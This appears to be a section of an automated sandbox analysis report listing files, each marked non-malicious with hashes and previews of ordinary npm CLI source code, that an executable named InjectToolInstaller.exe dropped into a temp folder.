SSDEEP:	24:lhxbMGPhm0avc6gCBN7X9l3muTGmuz4ToZjUJMLnpUwOM5ugPhmJXwrFPhfv:l/gsk7vP9tE2Gzj8MLi45uCkKR
MD5:	55071858E1473F09941B96624879896F
SHA1:	31203211B9EF4454640FD75AEA454D8864CE981B
SHA-256:	951BA5C3A35C84E986A75AD008B8D3DF169DE1694E394A8C0EC9524E8D4018D5
SHA-512:	9EF5BB736FEBF5CE517636CFD3ED1B3AF007D330138A01BA057E0C72BDAE839EDEB7417CAFA984D67E7109593E2373FC9C0529E2F987001B7B571E62380EABA5
Malicious:	false
Preview:	---.title: npm-shrinkwrap.json.section: 5.description: A publishable lockfile.---..### Description..`npm-shrinkwrap.json` is a file created by [`npm.shrinkwrap`](/commands/npm-shrinkwrap). It is identical to.`package-lock.json`, with one major caveat: Unlike `package-lock.json`,.`npm-shrinkwrap.json` may be included when publishing a package...The recommended use-case for `npm-shrinkwrap.json` is applications deployed.through the publishing process on the registry: for example, daemons and.command-line tools intended as global installs or `devDependencies`. It's.strongly discouraged for library authors to publish this file, since that.would prevent end users from having control over transitive dependency.updates...If both `package-lock.json` and `npm-shrinkwrap.json` are present in a.package root, `npm-shrinkwrap.json` will be preferred over the.`package-lock.json` file...For full details and description of the `npm-shrinkwrap.json` file format,.refer to the manual page for.[package-lo

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\bugs.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	847
Entropy (8bit):	4.609040968888335
Encrypted:	false
SSDEEP:	12:cbEsR8sbWsExELcykLmWJJEKn9QK06aK+y11d3FoHMSTBsv:cbRqFELh+jLLZKHMSTBO
MD5:	4E5E8AAEC0506A3F17E1298EBC552569
SHA1:	D9CCCE5ACCFF235C06E65D7EADACB28BC16D8B46
SHA-256:	F27FCC94433F876F4E660994F2CA48C73B81BB4EF2F21FBE8C6577BCB94AF91A
SHA-512:	9D71F72D1BA25AE2E74C611FA5B4A49B72DDE526FD877FBA4E044DB279A6FCDB3C265A9ADE91214AC63ECC01BCD375FF75CDD7F546CC382B5E8585878BA7CA6E
Malicious:	false
Preview:	const PackageUrlCmd = require('../package-url-cmd.js')..class Bugs extends PackageUrlCmd {. static description = 'Report bugs for a package in a web browser'. static name = 'bugs'.. getUrl (spec, mani) {. if (mani.bugs) {. if (typeof mani.bugs === 'string') {. return mani.bugs. }.. if (typeof mani.bugs === 'object' && mani.bugs.url) {. return mani.bugs.url. }.. if (typeof mani.bugs === 'object' && mani.bugs.email) {. return `mailto:${mani.bugs.email}`. }. }.. // try to get it from the repo, if possible. const info = this.hostedFromMani(mani). const infoUrl = info?.bugs(). if (infoUrl) {. return infoUrl. }.. // just send them to the website, hopefully that has some info!. return `https://www.npmjs.com/package/${mani.name}`. }.}..module.exports = Bugs.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\cache.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7163
Entropy (8bit):	4.714896562900106
Encrypted:	false
SSDEEP:	192:JyHE+HHUlAaZu0T1PJ239Ng2PLg83nyPqvM49xCHvlEhc0Ii5VtLFa5aDjH6v:QE+AxfsUEyPqvDCcc055FaVv
MD5:	C7C058F740A3BEAE9D060CEE82223CCB
SHA1:	CE1EF2946593B193BC6DCAB06F340BB1C0A941BF
SHA-256:	228FFF92C0FCAE632F0EC782B57A12694C28E03F99CB595DE4E72489842BF990
SHA-512:	669C83088AB6014611E2B0A166B78A262166B0358CB30C7D598A8094353F71B7513A97DCB95F21D0CD33C567F3CEFE87CA36582177FE43D6B1B9D6C2D095EBCD
Malicious:	false
Preview:	const cacache = require('cacache').const pacote = require('pacote').const fs = require('fs/promises').const { join } = require('path').const semver = require('semver').const BaseCommand = require('../base-command.js').const npa = require('npm-package-arg').const jsonParse = require('json-parse-even-better-errors').const localeCompare = require('@isaacs/string-locale-compare')('en').const log = require('../utils/log-shim')..const searchCachePackage = async (path, parsed, cacheKeys) => {. /* eslint-disable-next-line max-len /. const searchMFH = new RegExp(`^make-fetch-happen:request-cache:.(?<!/[@a-zA-Z]+)/${parsed.name}/-/(${parsed.name}[^/]+.tgz)$`). const searchPack = new RegExp(`^make-fetch-happen:request-cache:.*/${parsed.escapedName}$`). const results = new Set(). cacheKeys = new Set(cacheKeys). for (const key of cacheKeys) {. // match on the public key registry url format. if (searchMFH.test(key)) {. // extract the version from the filename. const filename

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\ci.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3859
Entropy (8bit):	4.619142606077174
Encrypted:	false
SSDEEP:	48:7e3uWlvN6XXT7AmlYuAcuYkfog2WgwCYV7eW5iJdjfgiGL:aL6/AmSmuRfoludV7eciJ5IiGL
MD5:	F16413C848FDC6E9B0E73B894DC3E316
SHA1:	5F20D1554556F335C2CC6C6447E8DBFBCED3A1EA
SHA-256:	EDB10B947774D46056FFD502895F66C39541B6BD79FF96E16E328F2133657857
SHA-512:	61037E544410FB644D451B01B2B037DB38524191F68B98B600B345421632D2C4B1F5F0FD0C2DE19B28C1AC8BDE762A7E2639D7C537DA62E992CB264356203D69
Malicious:	false
Preview:	const reifyFinish = require('../utils/reify-finish.js').const runScript = require('@npmcli/run-script').const fs = require('fs/promises').const log = require('../utils/log-shim.js').const validateLockfile = require('../utils/validate-lockfile.js')..const ArboristWorkspaceCmd = require('../arborist-cmd.js')..class CI extends ArboristWorkspaceCmd {. static description = 'Clean install a project'. static name = 'ci'.. // These are in the order they will show up in when running "-h". static params = [. 'install-strategy',. 'legacy-bundling',. 'global-style',. 'omit',. 'include',. 'strict-peer-deps',. 'foreground-scripts',. 'ignore-scripts',. 'audit',. 'bin-links',. 'fund',. 'dry-run',. ...super.params,. ].. async exec () {. if (this.npm.global) {. throw Object.assign(new Error('`npm ci` does not work for global packages'), {. code: 'ECIGLOBAL',. }). }.. const where = this.npm.prefix. const Arborist = require('@npmcli

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\completion.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	9081
Entropy (8bit):	4.7865451028418
Encrypted:	false
SSDEEP:	192:mJAP9wI0qzmTsD/o59URGORvqQRKfS9tITygZgyHaiMt:GI9w+zJgSg2qQ9Lt
MD5:	3D3300D9CB5BAA5471751379119702CB
SHA1:	F462DF93FD7DB21F8344C6D37092038656C97FB1
SHA-256:	DCEFB272C155AF6D9C9CB9237A53D8B63D8C1F82F6D2E90967640D93FB77E616
SHA-512:	A72EBB343347098AFD4471321DE9842F875FD29C0850708571359B74EB3933B98834774A42B17AB168494F7B5C4C08AC3DDC78824CFCA003D721273CFEB5BA3A
Malicious:	false
Preview:	// Each command has a completion function that takes an options object and a cb.// The callback gets called with an error and an array of possible completions..// The options object is built up based on the environment variables set by.// zsh or bash when calling a function for completion, based on the cursor.// position and the command line thus far. These are:.// COMP_CWORD: the index of the "word" in the command line being completed.// COMP_LINE: the full command line thusfar as a string.// COMP_POINT: the cursor index at the point of triggering completion.//.// We parse the command line with nopt, like npm does, and then create an.// options object containing:.// words: array of words in the command line.// w: the index of the word being completed (ie, COMP_CWORD).// word: the word being completed.// line: the COMP_LINE.// lineLength.// point: the COMP_POINT, usually equal to line length, but not always, eg if.// the user has pressed the left-arrow to complete an earlier word.// p

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\config.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	10357
Entropy (8bit):	4.6925125211992595
Encrypted:	false
SSDEEP:	192:A/EcF10cdPNdMmMKAkmpiq3QlROrS7P2qZT5HCnt4vdImePINx58+2ySxlXON:wEc7NdDoQWrSrxZT5iO9tvoTON
MD5:	4021624348CAC6DF47A65AF727F11703
SHA1:	1D43C00F5E23BDF30E68A7BA25471196DB5B2D98
SHA-256:	951E2F8F8219914B0D19FF7498BEC212687881AAE6A7DDD494696D6ABE58CAE5
SHA-512:	D729E42ABC72861F114A95CB29D71321ACD6C70F8BD3F471AEAE75130343D9F8983D64B146258F2BE8FBBFBF881CC1575EC19B310A29C252C04F87AC89008F93
Malicious:	false
Preview:	const { mkdir, readFile, writeFile } = require('fs/promises').const { dirname, resolve } = require('path').const { spawn } = require('child_process').const { EOL } = require('os').const ini = require('ini').const localeCompare = require('@isaacs/string-locale-compare')('en').const pkgJson = require('@npmcli/package-json').const { defaults, definitions } = require('@npmcli/config/lib/definitions').const log = require('../utils/log-shim.js')..// These are the configs that we can nerf-dart. Not all of them currently even.// have config definitions so we have to explicitly validate them here.const nerfDarts = [. '_auth',. '_authToken',. 'username',. '_password',. 'email',. 'certfile',. 'keyfile',.]..// take an array of `[key, value, k2=v2, k3, v3, ...]` and turn into.// { key: value, k2: v2, k3: v3 }.const keyValues = args => {. const kv = {}. for (let i = 0; i < args.length; i++) {. const arg = args[i].split('='). const key = arg.shift(). const val = arg.length ? arg.j

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\dedupe.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1448
Entropy (8bit):	4.630114567150564
Encrypted:	false
SSDEEP:	24:D4fZoMFsRZe5ePwvN/F4ayF4AsaoMVJa2/u3iopqBG:cfuiSevN/qfuAMMt/uysq0
MD5:	0D675B343A630FA396C26AA96A14F702
SHA1:	ADAE6276B88C0ABC1683A94248B0D28FAC2F7F1E
SHA-256:	4E9C73E788475BD68B275EF6437508B4BA8A3BED6D5B5E77CAFD3F787BDFFFCE
SHA-512:	C45573EE3A0234012E32B490C2A8D8A563D8C1381EF7CE9CC607EE269B810E0A6CB2CC17B61F4E9E13C38415A906F388916B8E1DD986C17D2D838C1ED3A27C9D
Malicious:	false
Preview:	// dedupe duplicated packages, or find them in the tree.const reifyFinish = require('../utils/reify-finish.js')..const ArboristWorkspaceCmd = require('../arborist-cmd.js')..class Dedupe extends ArboristWorkspaceCmd {. static description = 'Reduce duplication in the package tree'. static name = 'dedupe'. static params = [. 'install-strategy',. 'legacy-bundling',. 'global-style',. 'strict-peer-deps',. 'package-lock',. 'omit',. 'include',. 'ignore-scripts',. 'audit',. 'bin-links',. 'fund',. 'dry-run',. ...super.params,. ].. async exec (args) {. if (this.npm.global) {. const er = new Error('`npm dedupe` does not work in global mode.'). er.code = 'EDEDUPEGLOBAL'. throw er. }.. const dryRun = this.npm.config.get('dry-run'). const where = this.npm.prefix. const Arborist = require('@npmcli/arborist'). const opts = {. ...this.npm.flatOptions,. path: where,. dryRun,. // Saving during dedupe would onl

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\deprecate.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2074
Entropy (8bit):	4.669655574597683
Encrypted:	false
SSDEEP:	48:NKck30dGa4eUriBN+r4oUUhiTMoOLviPUah1hi:NKcjGa4eUOz+hUZLqviMOi
MD5:	96D91491B916A787083513E66D96312A
SHA1:	9CB52EA6128792A45A1CCD23BE23B6094AB2B475
SHA-256:	3B05AD061C43EDA8AD0310D7A4A05CD50B0AB9D514A3C84E4A728CE3E75B3BBD
SHA-512:	256E471DB1DA385BC3D84E22E1AE5D306E7A164FDC4BFE09CF7EAFC160A2A2B8FEC55DB087C653AD11720024C650D0EA51628A4E472CD8F8D48CB162F73C6911
Malicious:	false
Preview:	const fetch = require('npm-registry-fetch').const otplease = require('../utils/otplease.js').const npa = require('npm-package-arg').const semver = require('semver').const getIdentity = require('../utils/get-identity.js').const libaccess = require('libnpmaccess').const BaseCommand = require('../base-command.js')..class Deprecate extends BaseCommand {. static description = 'Deprecate a version of a package'. static name = 'deprecate'. static usage = ['<package-spec> <message>']. static params = [. 'registry',. 'otp',. ].. static ignoreImplicitWorkspace = true.. static async completion (opts, npm) {. if (opts.conf.argv.remain.length > 1) {. return []. }.. const username = await getIdentity(npm, npm.flatOptions). const packages = await libaccess.getPackages(username, npm.flatOptions). return Object.keys(packages). .filter((name) =>. packages[name] === 'write' &&. (opts.conf.argv.remain.length === 0 \|\|. name.startsWith(opts.conf.a

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\diff.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8349
Entropy (8bit):	4.617150725043903
Encrypted:	false
SSDEEP:	192:R3ClNQm+tD1+Avr1JeZLnPAL8erPLXlIkffp1rXyFebeylaaH:iQLD4AW86kf5bwQ
MD5:	CD9F78704AD3110EAFD0434FABDC3DC6
SHA1:	EEB0F2DB11A43D7FA8F1676F98E04A0FB95E4932
SHA-256:	ECC0015ECB86D5959B28551C1EB1AD6096B17ACE1DEE3F91D76E8C89AED6E1EA
SHA-512:	0D29820A0DB8CE8760F3D49E233B86BEE8E07EBEDE95A8B13E07CAAE3FC78A769F5C2DB14A82CE285DF14DA0B0FF6DE07914769423B5B23AEE8D34590384A253
Malicious:	false
Preview:	const { resolve } = require('path').const semver = require('semver').const libnpmdiff = require('libnpmdiff').const npa = require('npm-package-arg').const pacote = require('pacote').const pickManifest = require('npm-pick-manifest').const log = require('../utils/log-shim').const pkgJson = require('@npmcli/package-json').const BaseCommand = require('../base-command.js')..class Diff extends BaseCommand {. static description = 'The registry diff command'. static name = 'diff'. static usage = [. '[...<paths>]',. ].. static params = [. 'diff',. 'diff-name-only',. 'diff-unified',. 'diff-ignore-all-space',. 'diff-no-prefix',. 'diff-src-prefix',. 'diff-dst-prefix',. 'diff-text',. 'global',. 'tag',. 'workspace',. 'workspaces',. 'include-workspace-root',. ].. static workspaces = true. static ignoreImplicitWorkspace = false.. async exec (args) {. const specs = this.npm.config.get('diff').filter(d => d). if (specs.length > 2) {. throw th

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\dist-tag.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5543
Entropy (8bit):	4.698888970643355
Encrypted:	false
SSDEEP:	96:/rHTVoBuuIaK7w2oafcoapQ608ICyLFBSUM0mUBvNsqz1uSNiaQ:/zTVotMkQ6NIXZAnUBvaIUIiaQ
MD5:	F933C517CAD2BE3A6F97DFDDC1C62BE6
SHA1:	9E092BB2C5006233CD35543422DB4E1376887C9A
SHA-256:	EAAA4B9543C79E8B8CB27B71CDEE50893A5229FF6ABB4EB160CB6EC5D121D48C
SHA-512:	D324FB9216177ECB198F006C2A9B878CAFBCA43EF519A02E966ACB2D3B5C4E6C235D855EC6AD70A0DBBD14EDDD485AC5F17DB9A38C0B94E2C92710AC2831C3BF
Malicious:	false
Preview:	const npa = require('npm-package-arg').const regFetch = require('npm-registry-fetch').const semver = require('semver').const log = require('../utils/log-shim').const otplease = require('../utils/otplease.js').const pkgJson = require('@npmcli/package-json').const BaseCommand = require('../base-command.js')..class DistTag extends BaseCommand {. static description = 'Modify package distribution tags'. static params = ['workspace', 'workspaces', 'include-workspace-root']. static name = 'dist-tag'. static usage = [. 'add <package-spec (with version)> [<tag>]',. 'rm <package-spec> <tag>',. 'ls [<package-spec>]',. ].. static workspaces = true. static ignoreImplicitWorkspace = false.. static async completion (opts) {. const argv = opts.conf.argv.remain. if (argv.length === 2) {. return ['add', 'rm', 'ls']. }.. switch (argv[2]) {. default:. return []. }. }.. async exec ([cmdName, pkg, tag]) {. const opts = {. ...this.npm.flatOptions,.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\docs.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	447
Entropy (8bit):	4.676103533369523
Encrypted:	false
SSDEEP:	6:lGun9a8RUEiweS9SVAxtuultMxsAcSdI1Ry0IELWt4jEchQCMNWSMM1n9KgL4ZMv:cAiEsTul8sbWAExELS48x19KHMSQb0Bm
MD5:	4D030574D5DBA12508A7F0ECBE7EFFE5
SHA1:	7CA4B84C13C13B79E4425F35A2F0B2064F3B84AC
SHA-256:	27317ED0F98DF98F287FCD27FAD174752E9BE61722BF87334BF2372C748A633F
SHA-512:	29C406F9BE8E974229E2ABEC303C45469919684D2F27E082B0680CB42CE7C5AB039D3F1D59333E6547246B79D36F881B3018B0B68F772F7BB29B24D9F249857B
Malicious:	false
Preview:	const PackageUrlCmd = require('../package-url-cmd.js').class Docs extends PackageUrlCmd {. static description = 'Open documentation for a package in a web browser'. static name = 'docs'.. getUrl (spec, mani) {. if (mani.homepage) {. return mani.homepage. }.. const info = this.hostedFromMani(mani). if (info) {. return info.docs(). }.. return `https://www.npmjs.com/package/${mani.name}`. }.}.module.exports = Docs.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\doctor.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	12083
Entropy (8bit):	4.697409838939826
Encrypted:	false
SSDEEP:	192:e18AsGfuG1uGDGbGDPUGKv3MOLAK5d7PpDVEQ5LbUF3baTYOya9EbJpJ7QGpcDc6:9AdUHLwUUOhaXDSJAcfru0aPY
MD5:	D3D01BE76F3F14CF5312DEED2DB56B05
SHA1:	15058979D2D4DA570A998C80F438B33C2B0154B3
SHA-256:	6023F31C8979269294458A8A29E4FE0E495647B42F2544FC05AC6B9DB3B8A2F7
SHA-512:	E732E6FFC1A7A7EE7A99798F04B4F6FD4E733A274A884038F809633548D84E9FB06FF89F10A867BC70BBBAD457D9D922DFDB2AF5C4EE6265B1FE3583040E531E
Malicious:	false
Preview:	const cacache = require('cacache').const fs = require('fs').const fetch = require('make-fetch-happen').const Table = require('cli-table3').const which = require('which').const pacote = require('pacote').const { resolve } = require('path').const semver = require('semver').const { promisify } = require('util').const log = require('../utils/log-shim.js').const ping = require('../utils/ping.js').const { defaults } = require('@npmcli/config/lib/definitions').const lstat = promisify(fs.lstat).const readdir = promisify(fs.readdir).const access = promisify(fs.access).const { R_OK, W_OK, X_OK } = fs.constants..const maskLabel = mask => {. const label = []. if (mask & R_OK) {. label.push('readable'). }.. if (mask & W_OK) {. label.push('writable'). }.. if (mask & X_OK) {. label.push('executable'). }.. return label.join(', ').}..const subcommands = [. {. groups: ['ping', 'registry'],. title: 'npm ping',. cmd: 'checkPing',. }, {. groups: ['versions'],. title: 'npm

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\edit.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2052
Entropy (8bit):	4.612321297776652
Encrypted:	false
SSDEEP:	24:CFasFLt721TLL+sBNB3z9CUIycuPPBdMRjcW3O7xmp9gbH2xdpXXjVNt/j3MQVFM:CF39yX3z9zPXMpqc0y5Ntbdn37NYb
MD5:	5D885896752E4A3CE400884C0FF05C0E
SHA1:	B81C2FCD6B0D94421FC12745B7F6F9458AFAF357
SHA-256:	7EBF94BDDCBE4CECDF3CF92ED8366BC970B1DCBA1CB8AAD5D1BCC0B704456E38
SHA-512:	40561D980B8EE9A4CCD5A3FF63D729B53C4E08787D9CBAAFCAA6BAB976D40960D3636A5F3D0B4B4E05580AB7F07C0740E5206044DCD6DBCB411754E5393698DE
Malicious:	false
Preview:	// npm edit <pkg>.// open the package folder in the $EDITOR..const { resolve } = require('path').const fs = require('graceful-fs').const cp = require('child_process').const completion = require('../utils/completion/installed-shallow.js').const BaseCommand = require('../base-command.js')..const splitPackageNames = (path) => {. return path.split('/'). // combine scoped parts. .reduce((parts, part) => {. if (parts.length === 0) {. return [part]. }.. const lastPart = parts[parts.length - 1]. // check if previous part is the first part of a scoped package. if (lastPart[0] === '@' && !lastPart.includes('/')) {. parts[parts.length - 1] += '/' + part. } else {. parts.push(part). }.. return parts. }, []). .join('/node_modules/'). .replace(/(\/node_modules)+/, '/node_modules').}..class Edit extends BaseCommand {. static description = 'Edit an installed package'. static name = 'edit'. static usage = ['<pkg>[/<subpkg>.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\exec.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2629
Entropy (8bit):	4.670948910823911
Encrypted:	false
SSDEEP:	24:f3XS9obtVoHpJe56ATGyGIurvGES9YGfh9tRqYsnrmLZHLCPXb+6Xhj8uMIEHrV2:vUWYKurvGES9HztRqNmLZrCzL8/JW
MD5:	EA77B8DC0304D0AFBAB4FD9767AC77C5
SHA1:	7D199D75CF034C362B1505C1B5B44C9074F428E2
SHA-256:	EADD086830018FB0D67E36F4714C0EF6963946EE47EB7C230CCDF30861000876
SHA-512:	913268E91F91758472A25E7D59A0D9ABC8640D780BAB202C5FAE80106EADE4FB21EE382C81C72436077DD2DDE7F21189097FEE921AAB5A2B32F5BC5302C03508
Malicious:	false
Preview:	const { resolve } = require('path').const libexec = require('libnpmexec').const BaseCommand = require('../base-command.js')..class Exec extends BaseCommand {. static description = 'Run a command from a local or remote npm package'. static params = [. 'package',. 'call',. 'workspace',. 'workspaces',. 'include-workspace-root',. ].. static name = 'exec'. static usage = [. '-- <pkg>[@<version>] [args...]',. '--package=<pkg>[@<version>] -- <cmd> [args...]',. '-c \'<cmd> [args...]\'',. '--package=foo -c \'<cmd> [args...]\'',. ].. static workspaces = true. static ignoreImplicitWorkspace = false. static isShellout = true.. async exec (args) {. return this.callExec(args). }.. async execWorkspaces (args) {. await this.setWorkspaces().. for (const [name, path] of this.workspaces) {. const locationMsg =. `in workspace ${this.npm.chalk.green(name)} at location:\n${this.npm.chalk.dim(path)}`. await this.callExec(args, { locationMsg, ru

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\explain.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3654
Entropy (8bit):	4.6835567165701
Encrypted:	false
SSDEEP:	48:v9zGZWunmC14sAMA0Q9aiUx524ypktZ7laRjdwuEVhTD8FRTpfPMbyYl8YW:vF414Mcai02RWtZJqehTD8BfPMmYlnW
MD5:	4942C42753BF50D18EB8BA3DA0D1B393
SHA1:	47BAD293F3936A99093445A7109C5C68E9B51200
SHA-256:	34430DB1AD7D0343AA7A4817409FC4AE886A60B3F91A5F834CC4C8DECA4716C9
SHA-512:	9A6EB344A88E5689C193FB2DE0BA439F5F533F725D221207AE996BEC1064B3C34C1CC56CB8A251B0BFB6E17ECEAA469A12C8CE4966F6E76E4CDD3C95AC1C633C
Malicious:	false
Preview:	const { explainNode } = require('../utils/explain-dep.js').const npa = require('npm-package-arg').const semver = require('semver').const { relative, resolve } = require('path').const validName = require('validate-npm-package-name').const ArboristWorkspaceCmd = require('../arborist-cmd.js')..class Explain extends ArboristWorkspaceCmd {. static description = 'Explain installed packages'. static name = 'explain'. static usage = ['<package-spec>']. static params = [. 'json',. 'workspace',. ].. static ignoreImplicitWorkspace = false.. // TODO. /* istanbul ignore next */. static async completion (opts, npm) {. const completion = require('../utils/completion/installed-deep.js'). return completion(npm, opts). }.. async exec (args) {. if (!args.length) {. throw this.usageError(). }.. const Arborist = require('@npmcli/arborist'). const arb = new Arborist({ path: this.npm.prefix, ...this.npm.flatOptions }). const tree = await arb.loadActual().. if (th

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\explore.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2362
Entropy (8bit):	4.719033090114034
Encrypted:	false
SSDEEP:	48:NVzazqMqFsk9jPkJBnYZMzW8g4vsNnNxGyErY2:NVz7MqPkJBnYGZgXNNx5EM2
MD5:	B9283111F2087F245E29FFB325ACAF86
SHA1:	725BA823DF5BD4CBB03AFF70F7A202620C0071F2
SHA-256:	07E9AFB89DE3B29A8BE83AA8996944279432C98325B1D35E133841540666A133
SHA-512:	880A0E85EC1D296586442E8458667495250372292D912843C68C1FDBE3FC28BD1CB6E7039527821ECEA4A8200AAF2F5D8F3EC7B296BE7CE3319F40D4FC597C65
Malicious:	false
Preview:	// npm explore <pkg>[@<version>].// open a subshell to the package folder...const pkgJson = require('@npmcli/package-json').const runScript = require('@npmcli/run-script').const { join, relative } = require('path').const log = require('../utils/log-shim.js').const completion = require('../utils/completion/installed-shallow.js').const BaseCommand = require('../base-command.js')..class Explore extends BaseCommand {. static description = 'Browse an installed package'. static name = 'explore'. static usage = ['<pkg> [ -- <command>]']. static params = ['shell']. static ignoreImplicitWorkspace = false.. // TODO. /* istanbul ignore next */. static async completion (opts, npm) {. return completion(npm, opts). }.. async exec (args) {. if (args.length < 1 \|\| !args[0]) {. throw this.usageError(). }.. const pkgname = args.shift().. // detect and prevent any .. shenanigans. const path = join(this.npm.dir, join('/', pkgname)). if (relative(path, this.npm.dir) ===

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\find-dupes.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	637
Entropy (8bit):	4.614519297710764
Encrypted:	false
SSDEEP:	12:jH4F4ZoMzpHXBZOYtcWjtyg53de288AhYdvNDtv/GpQb0Bce:D4+ZoMzpHRZn5dePwvNtZb0BH
MD5:	CA48BC01FDC56BB7CF665B54998F105B
SHA1:	6E65B793982B6262331FE66884AC2FA5CF2BF047
SHA-256:	D205952C8A724A1914DC2D5BCD6EAA8389DABFE838A3D2FB9C7D6F4D91241EA5
SHA-512:	B982C4BD01B7E6C9076FD9592B144DFCD7459CB2B09BDD17009F14825FD19EACB8EA7AB43594FD56EBE4F3B62D467FAB2C4B675B827DE01BCED531777837FF20
Malicious:	false
Preview:	// dedupe duplicated packages, or find them in the tree.const ArboristWorkspaceCmd = require('../arborist-cmd.js')..class FindDupes extends ArboristWorkspaceCmd {. static description = 'Find duplication in the package tree'. static name = 'find-dupes'. static params = [. 'install-strategy',. 'legacy-bundling',. 'global-style',. 'strict-peer-deps',. 'package-lock',. 'omit',. 'include',. 'ignore-scripts',. 'audit',. 'bin-links',. 'fund',. ...super.params,. ].. async exec (args) {. this.npm.config.set('dry-run', true). return this.npm.exec('dedupe', []). }.}.module.exports = FindDupes.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\fund.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6700
Entropy (8bit):	4.691251093440378
Encrypted:	false
SSDEEP:	192:YZDj3tRQLb3pZl2DHr+ucHM41Vd2Hxi5oLqyDa8rGdxt834N+E:23ApZl2DH6uZ4rIRie5rGd833E
MD5:	8A99DE9C656D04046DD0CF6BE1ECE97B
SHA1:	A27902EB47B56FB9E73A64869733A7D0DF0E21DA
SHA-256:	F6EF4987512550178DC381FA26066329852556C8ECE3C6E4295229FB94AF501F
SHA-512:	3308A3A38AFBC79E46B0C629D67E8A0461C68A65C79662D9DB77153B8217F6C4DFFBFF351724C3BF75617CDE378322307A07ACDFC532173C741497F3FB1C7DFB
Malicious:	false
Preview:	const archy = require('archy').const pacote = require('pacote').const semver = require('semver').const npa = require('npm-package-arg').const { depth } = require('treeverse').const { readTree: getFundingInfo, normalizeFunding, isValidFunding } = require('libnpmfund')..const openUrl = require('../utils/open-url.js').const ArboristWorkspaceCmd = require('../arborist-cmd.js')..const getPrintableName = ({ name, version }) => {. const printableVersion = version ? `@${version}` : ''. return `${name}${printableVersion}`.}..const errCode = (msg, code) => Object.assign(new Error(msg), { code })..class Fund extends ArboristWorkspaceCmd {. static description = 'Retrieve funding information'. static name = 'fund'. static params = ['json', 'browser', 'unicode', 'workspace', 'which']. static usage = ['[<package-spec>]'].. // XXX: maybe worth making this generic for all commands?. usageMessage (paramsObj = {}) {. let msg = `\`npm ${this.constructor.name}`. const params = Object.entries(

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\get.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	580
Entropy (8bit):	4.759068059256862
Encrypted:	false
SSDEEP:	12:t5gWkZjkfO1VK+WUcFAtR2LctRFcWfrLO4dNWuGpLBtb0BX:XQsJZqdjcW3O80uab0BX
MD5:	7E81706673AD8C2D196CBF72B0578FAA
SHA1:	CB981D042BB7EF7523AD1A0A6D24539209478576
SHA-256:	08A79CF077E90D6847CC87F2EAEFE0907938B656DB7CE833B542AA0E31A68292
SHA-512:	97CF1CEC4A62E86E5ECCD70F5E630E91EFC602F0B0D1CBB6B4C097EB232664ACCB6B6D1EB568DA58899CE93C9C160F7ABB6793AE8F12736AC7FA2C5E7267437E
Malicious:	false
Preview:	const Npm = require('../npm.js').const BaseCommand = require('../base-command.js')..class Get extends BaseCommand {. static description = 'Get a value from the npm configuration'. static name = 'get'. static usage = ['[<key> ...] (See `npm config`)']. static params = ['long']. static ignoreImplicitWorkspace = false.. // TODO. /* istanbul ignore next */. static async completion (opts) {. const Config = Npm.cmd('config'). return Config.completion(opts). }.. async exec (args) {. return this.npm.exec('config', ['get'].concat(args)). }.}.module.exports = Get.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\help-search.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	5630
Entropy (8bit):	4.501906342755608
Encrypted:	false
